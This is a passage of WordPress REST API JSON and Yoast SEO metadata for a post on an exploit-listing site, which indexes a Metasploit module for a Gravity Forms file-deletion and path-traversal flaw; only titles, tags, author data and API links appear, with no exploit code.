redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-12T12:42:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62292#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62292\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62292#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \\\/ Path Traversal_PACKETSTORM:223339\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=62292","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin versions 2.10.0.1 and below where file URLs stored in form entries are not...","og_url":"https:\/\/zero.redgem.net\/?p=62292","og_site_name":"zero redgem","article_published_time":"2026-06-12T12:42:17+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=62292#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=62292"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339","datePublished":"2026-06-12T12:42:17+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=62292"},"wordCount":2660,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.6","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=62292#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=62292","url":"https:\/\/zero.redgem.net\/?p=62292","name":"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-12T12:42:17+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=62292#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=62292"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=62292#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62292"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62292\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}